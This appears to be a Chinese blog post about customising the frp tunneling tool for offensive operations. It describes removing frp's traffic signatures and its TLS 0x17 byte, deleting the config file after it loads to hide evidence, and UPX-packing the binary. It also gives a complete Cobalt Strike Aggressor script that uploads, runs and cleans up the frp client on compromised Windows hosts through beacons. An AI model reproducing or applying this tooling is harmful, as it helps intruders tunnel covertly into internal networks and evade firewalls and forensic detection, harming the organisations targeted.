frp魔改记录
前言
此篇不是最终版,后续会重新整理测试完善
0x01 原理
https://blog.csdn.net/RivenDong/article/details/102872132
0x02 实战使用
0x03 修过记录
1.流量特征
路径:/pkg/msg/msg.go
上面得注释说的很清楚 当客户端连接时 会发送这些信息给服务端
可以按照这样修改其中的值
2.加密、压缩传输流量
frpc.ini中配置加上:
**use_encryption = true
**use_compression = true
如果公司内网防火墙对外网访问进行了流量识别与屏蔽,例如禁止了 ssh 协议等,通过设置 use_encryption = true,将 frpc 与 frps 之间的通信内容加密传输,将会有效防止流量被拦截。
如果传输的报文长度较长,通过设置 use_compression = true 对传输内容进行压缩,可以有效减小 frpc 与 frps 之间的网络流量,加快流量转发速度,但是会额外消耗一些 cpu 资源。
tls_enable = true
从 v0.25.0 版本开始 frpc 和 frps 之间支持通过 TLS 协议加密传输。通过在 frpc.ini 的 common 中配置 tls_enable = true 来启用此功能,安全性更高。
为了端口复用,frp 建立 TLS 连接的第一个字节为 0x17。
通过将 frps.ini 的 [common] 中 tls_only 设置为 true,可以强制 frps 只接受 TLS 连接。
注意: 启用此功能后除 xtcp 外,不需要再设置 use_encryption。
3.修改0x17特征
当使用tls加密的时候,观察流量有一个固定特征是 开头会发一个0x17
这里修改tls.go逻辑去特征:
0.37路径是/frp-0.37.0/pkg/util/net/tls.go
验证无问题
4. 隐藏frpc.ini 加载后删除
参考文章中提到三种方法
1.加上命令行参数
这种查命令其实还是容易被发现
2.远程加载配置文件
这样需要通过域名或者ip解析远程加载,也需要花时间隐藏
3.执行后删除frpc.ini
这种方法比直接在源码中写死更灵活,也能很有效的隐藏
步骤:
修改文件/frp/cmd/frpc/sub/root.go文件
加上变量
注册参数(默认true 直接删除,可以在配置文件中修改)
最下面的serverstart函数中加上
检查语法 无报错
5. 生成
直接运行目录下package.sh脚本 交叉编译生成 前提是go和gcc安装好
客户端运行后 frpc.ini 直接删除
0x04 CS插件联动frp
1.upx加壳
考虑到编译生成的frpc.exe比较大,传的有点费劲 就使用upx压缩加壳一下
也可以在linux中upx -9
(这里有些文章的大佬 还提到了upx加壳后修改特征,这个就是另一个研究方向了,本篇不深入了)
2.编写cna脚本
这里的脚本参考xq17师傅修改的。
我配置的是运行后自动删除ini文件,所以右键上传的时候 也把ini传上去
运行和删除部分,这里直接运行命令了就。删除部分,特地加了删除ini 如果没启动成功的话 也把ini文件删除 比较保险
popup beacon_bottom {
menu "Frp Proxy"{
item "Upload" {
$bid = $1;
$dialog = dialog("Upload frpc", %(UploadPath => "C:\\Windows\\Temp\\", bid => $bid), &upload);
drow_text($dialog, "UploadPath", "path: ");
dbutton_action($dialog, "ok");
dialog_show($dialog);
}
sub upload {
# switch to specify path
bcd($bid, $3['UploadPath']);
bsleep($bid, 0 ,0);
if (-is64 $bid['id']) {
bupload($bid, script_resource("scripts/frpc.exe"));
bupload($bid, script_resource("scripts/frpc.ini"));
}else{
bupload($bid, script_resource("scripts/frpc.ini"));
bupload($bid, script_resource("scripts/frpc.exe"));
}
show_message("Executing cmmand!");
}
item "Run"{
$bid = $1;
$dialog = dialog("Run frpc", %(uri => "frpc.exe -c frpc.ini || remove the frpc.ini", bid => $bid), &run);
drow_text($dialog, "uri", "configURI: ");
dbutton_action($dialog, "ok");
dialog_show($dialog);
}
sub run{
local('$Uri');
$Uri = $3['uri'];
bshell($bid, "frpc.exe -c frpc.ini ");
show_message("Executing cmmand!");
bsleep($bid, 5, 0);
}
item "Delete" {
# local("bid");
bshell($1, "taskkill /f /t /im frpc.exe && del /f /s /q frpc.exe");
bshell($1, "del /f /s /q frpc.ini");
}
}
}
}
3.同目录放frpc
这个目录下的scripts中放frpc.exe和frpc.ini,也可以修改脚本
然后cs客户端中直接加载cna即可
这里也可以利用cs目录中的agscript 在服务端加载cna脚本 ,或者远程加载,这样每个客户端就都能使用了
姿势多多
4.测试
默认是这个路径
测试3m大概需要50s
右键直接run
配置文件已删除
测试无问题
参考
https://www.yuque.com/zirc0n/escbhg/xclhd4
https://uknowsec.cn/posts/notes/FRP%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92.html
https://uknowsec.cn/posts/notes/FRP%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92%E7%BB%AD.html